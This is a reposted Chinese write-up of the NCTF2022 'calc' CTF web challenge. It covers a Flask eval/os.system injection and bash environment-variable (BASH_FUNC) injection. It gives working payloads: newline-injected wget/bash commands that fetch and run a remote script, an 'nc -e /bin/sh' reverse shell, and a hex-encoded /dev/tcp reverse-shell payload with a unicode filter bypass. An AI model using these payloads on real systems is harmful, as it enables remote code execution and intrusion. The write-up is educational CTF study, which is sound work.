NCTF2022 calc题目复现

news2024/11/15 17:49:49

calc(环境变量注入getshell)

经典计算器题目,看着有点眼熟,没错,就是buu三月赛的一道题目。由于那时候web可能都算不上入门,所以也就没有复现。比赛时就网上看了看三月赛的wp,但是没有什么用,因为过滤更加严格了,看题目代码:

@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"
def waf(s):
    blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
                 'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
                 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
                 'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag

比赛思路

突破口有两处,eval命令执行以及os.system函数执行代码。网上用的都是利用os.system函数来执行命令的。它执行的是log参数里面的内容,

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)

参数部分可控,接下来我们所要做的就是截断已有命令,让os.system函数去单独执行num中的代码,buu三月赛是用反引号来绕过,因为有反引号会先执行反引号里的代码。但是在这里反引号被过滤掉了,当时测试是可以用换行来绕过的,赛后看师傅们的wp也确实是这样,

当时想着反弹shell,但是没有成功,回头检查一遍发现还需要绕过eval函数,因为我们传入的payload先经过eval函数处理会发生报错,这就导致os.system函数无法执行,buu三月赛是用#把后面代码注释掉,是一个好点子,但是这一题也过滤了。实在想不出还能怎么绕,最后也是放弃了,坐等赛后wp(菜哭)。

非预期解  

网上师傅们的wp全是这一种非预期解法,后来平台好像为了考察预期解又新出一道calc升级版。这个非预期同样也是解决上面那两个问题,num参数单独代码执行,使用换行绕过。满足eval正常执行则是用单引号将我们传入的代码包裹起来,使其成为字符串,这样就不会报错了 ,妙啊。

又因为没有回显,可以wget命令从我们服务器下载恶意sehll脚本,然后在题目中执行。如果题目出网,那么我们可以反弹shell或者将flag文件外带出来,例如我们反弹shell,编写恶意shell脚本:

#!/bin/bash
nc vps port -e /bin/sh

题目中我们传入参数:

num=%0A'wget'%09'http://vps/hack.sh'%0A
num=%0A'bash'%09'hack.sh'%0A

同时vps开启监听,但是赛后测试并没有弹过来,利用curl外带也没有成功,不知道是啥细节上出问题了。最主要的是学习一下这一种思路。

预期解

看了出题人的wp之后,知道他是根据p神的一篇环境变量注入的文章得来的灵感,

我是如何利用环境变量注入执行任意命令 - 跳跳糖

p神的文章对于小白来说还是容易劝退的,C语言基础不是很好的我看底层代码还是有些费劲。下来主要说一下p神这篇文章利用环境变量注入来getshell的思想。

php的system函数在底层调用了popen函数,而最终执行的命令就是sh -c,我们知道sh是一个软连接,它指向bash或者dash,在system函数执行的时候,就会执行sh这个二进制文件,如果我们在sh底层源码中找到可以利用的环境变量,也就可以执行命令。其中能够利用的就是variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量。其中的一段if条件语句判断:

if (privmode == 0 && read_but_dont_execute == 0 && 
        STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
        STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
        STREQN ("() {", string, 4))

p神也给了其中的解释

这段很重要,也是能否看懂这道题payload的关键。也就是满足这些条件,它会注册一个shell变量并执行。

env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

也就这样创建类似匿名函数并执行,就会执行id这个命令。针对本题就说这些,了解更多还得细读p神的文章,能够学到很多。

依据上面的思想我们是否能在python中运用。同样python3中system函数底层代码实现中也调用了/bin/sh -c来执行shell命令,附上官方wp:

NCTF2022 Official Writeup | 小绿草信息安全实验室

同理我们也可以注入环境变量来命令执行。那么在这一题我们怎么注入环境变量,没有直观的putenv函数,只能通过eval来覆盖或者赋值,参考这篇文章:

Python黑魔法-[]绕过空格实现变量覆盖 - Twings

利用for循环来变量覆盖:

还可以用中括号来绕过空格,虽然不知道为什么可以这样,好像是python的特性吧。本地测试一下向os.environ注入新的环境变量:

 

完全可以,这样环境变量覆盖的问题也解决了。在此,我们需要设置的环境变量为:

os.environ['BASH_FUNC_echo%%']='() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}'

当然echo只是一个函数名,设置成什么字母无所谓,我们需要for循环对该环境变量进行注入,且绕过空格,所以进一步的payload为:

[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}']]]

剩下的就是绕过黑名单了,在python中,用单双引号包裹的字符串是能够识别十六进制的,所以只需要将敏感字符十六进制编码即可绕过。最后就是怎么绕过os了。这里对于我来说又是一个新的点,python在处理utf-8中的非ascii字符的时候,会被转化成统一的标准格式。

就像官方wp上可以用ᵒ来代替o,这下问题都全部解决了,所以最终payload为:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]

 nss上线了这道题,用该payload试一下

最终也是弹成功了。

结语

这都是在基于system函数执行的条件下(无论是php还是python),底层调用sh二进制文件,我们都可以注入环境变量来rce。换句话说,如果底层调用了sh -c命令的函数执行的话,具有环境变量注入条件,使用这个方法来getshell应该是可以的。这个赛题个人感觉质量很高,能够从中学习到很多知识。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/78807.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IEEE 二进制浮点数的表示

今天,我来将 IEEE 二进制浮点数的表示方式进行一个简单的介绍。 浮点数 在 C 语言中,有两种存储浮点数的方式,分别是 float 和 double ,当然了还有long double。这几种浮点型所容纳的长度不同,当然它们存储的精度也就…

[附源码]JAVA毕业设计新型药物临床信息管理系统(系统+LW)

[附源码]JAVA毕业设计新型药物临床信息管理系统(系统LW) 项目运行 环境项配置: Jdk1.8 Tomcat8.5 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 …

p5.第一章 Python基础入门 -- 运算符、优先级和表达式 (五)

1.2.3.2.11 False等价 False等价布尔值,相当于bool(value) 空容器 空集合set空字典dict空列表list空元组tuple空字符串None0# bool(value)是布尔函数# In: bool(1), bool(0) # Out: (True

离散数学·支配集、覆盖集、独立集和匹配

支配集 简而言之——V-支配集后剩下的点,都能在支配集中找到相邻的点 支配数的符号是γ0(有关点的集,下标为0) 例 右下角相同颜色的为同一个支配集 要注意极小性 整个V就是支配集(所以说支配集找极大没有意义&#xf…

测试员凡尔赛,工作三年晒出11月工资条,直言加班太累了

最近有工作3年的测试员晒出自己11 月份的工资条,并直言加班太累了。 从工资条上可以看到,这个收入确实不算低,才3年时间,月工资就已经到了二万五了,这个工资已经可以击败绝大多数行业了。 不过二万五只是税前工资&am…

第二证券|系统性稳地产政策加力 租购并举制度加快建立

在房地产职业深度调整期,下一年方针走向备受关注。虽然日前召开的中心政治局会议没提及房地产,可是从其对经济方针的表述能够预见,作为经济支柱产业的房地产职业,下一年将在稳经济中发挥更重要的效果,国家将持续出台系…

[附源码]Python计算机毕业设计SSM基于的装修公司运营管理管理系统(程序+LW)

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

一文彻底搞懂ssh的端口转发

文章目录背景什么是端口转发?本地端口转发本地端口转发的语法场景1场景二ssh -L参数解释ssh 远程端口的安全问题远程端口转发远程端口转发的语法场景一远程端口转发和本地端口转发要在哪台服务器上执行场景二ssh -R 参数解释端口转发的选项端口转发需要修改哪些ssh配…

fastdfs部署详解

fastdfs部署 官方github支持 官方解释:FastDFS 是一个开源的高性能分布式文件系统。它的主要功能包括:文件存储、文件同步和文件访问(文件上传和文件下载),它可以解决高容量和负载均衡问题。FastDFS应该能满足图片分享…

10 款开源工具

1. JIRA 2. Git 3. Jenkins 4. Selenium 5. Groovy 6、Spock 7. Maven 8. Gradle 9. Docker 10. Linux 本文主要介绍Java程序员应该在2019年学习的一些基本和高级工具。如果你是一位经验丰富的Java开发人员,你可能对这些工具很熟悉,但如果不是&…

Java 并发编程<13>-ThreadPoolExecutor的springboot应用

Java 并发编程<13>-ThreadPoolExecutor的springboot应用 Java并发编程<10>安全集合 ...... Java 并发编程<1>-线程实现的方式 线程池简介 a .为什么使用线程池 降低系统资源消耗&#xff0c;通过重用已存在的线程&#xff0c;降低线程创建和销毁造成的消…

基于Surf+GTM的图像配准和拼接算法matlab仿真

目录 1.算法描述 2.仿真效果预览 3.MATLAB核心程序 4.完整MATLAB 1.算法描述 SIFT采用的是DoG图像&#xff0c;而SURF采用的是Hessian矩阵&#xff08;SURF算法核心&#xff09;行列式近似值图像。在数学中&#xff0c;Hessian矩阵是一个自变量为向量的实值函数的二阶偏导数…

计算机网络(自顶向下)学习笔记——传输层

第三章—传输层 传输层位于应用层和网络层之间&#xff0c;是分层的网络体系结构中重要的部分&#xff0c;该层为运行在不同主机上的应用进程提供直接的通信服务起着至关重要的作用。在这里我们将讨论两个大的问题&#xff1a;将网络层在不同端系统之间的通信服务扩充到运行在…

机器学习-PCA主成份分析详细解说及代码实现

本站原创文章&#xff0c;转载请说明来自《老饼讲解-机器学习》ml.bbbdata.com 目录 一. PCA主成分分析思想介绍 1.1 主成份分析思想 1.2 什么是主成份 二. PCA主成分分析的数学描述 2.1 主成份分析的数学表达 2.2 主成份系数矩阵A的约定 2.3 主成份分析需要输出什么 三…

Linux网络编程(一)——基础篇

目录 一、网络结构模式 &#xff08;一&#xff09;C/S结构 &#xff08;二&#xff09;B/S结构 二、MAC地址 三、IP地址 &#xff08;一&#xff09;IP地址编址方式 A类IP地址 B类IP地址 C类IP地址 D、E类IP地址 特殊的网址 IP分类的优缺点 &#xff08;二&#x…

解决org.apache.jasper.JasperException: 无法为JSP编译类

1.问题描述 org.apache.jasper.JasperException: 无法为JSP编译类: 在运行java web项目时&#xff0c;启动tomcat服务器报这样的操作&#xff0c;一般就是tomcat版本跟jdk版本不兼容的问题。我用的是jdk17&#xff0c;经过查阅相关资料得出一般使用jdk8就可以解决此类问题 2.…

微信小程序 | 小程序配置和架构

&#x1f5a5;️ 微信小程序 专栏&#xff1a;小程序配置和架构 &#x1f9d1;‍&#x1f4bc; 个人简介&#xff1a;一个不甘平庸的平凡人&#x1f36c; ✨ 个人主页&#xff1a;CoderHing的个人主页 &#x1f340; 格言: ☀️ 路漫漫其修远兮,吾将上下而求索☀️ &#x1f44…

JavaScript:cookie和storage

cookie 用于客户端存储会话信息。在浏览器中会对cookie做一些限制&#xff1a; ❑ 不超过300个cookie&#xff1b; ❑ 每个cookie不超过4096字节&#xff1b; ❑ 每个域不超过20个cookie&#xff1b; ❑ 每个域不超过81920字节。 每个域能设置的cookie总数也是受限的&#xf…

(5)Pytorch数据处理

Pytorch 数据处理 要点总结 1、功能 Dataset&#xff1a;准备数据集&#xff0c;一般会针对自己的数据集格式重写Dataset&#xff0c;定义数据输入输出格式 Dataloader&#xff1a;用于加载数据&#xff0c;通常不用改这部分内容 2、看代码时请关注 Dataloader中collate_fn 传入…

分布式部署:第一章:zookeeper集群和solrcloud及redisCluster集群搭建

2.1 Zookeeper集群简介 2.1.1为什么搭建Zookeeper集群 大部分分布式应用需要一个主控、协调器或者控制器来管理物理分布的子进程。目前&#xff0c;大多数都要开发私有的协调程序&#xff0c;缺乏一个通用机制&#xff0c;协调程序的反复编写浪费&#xff0c;且难以形成通用、…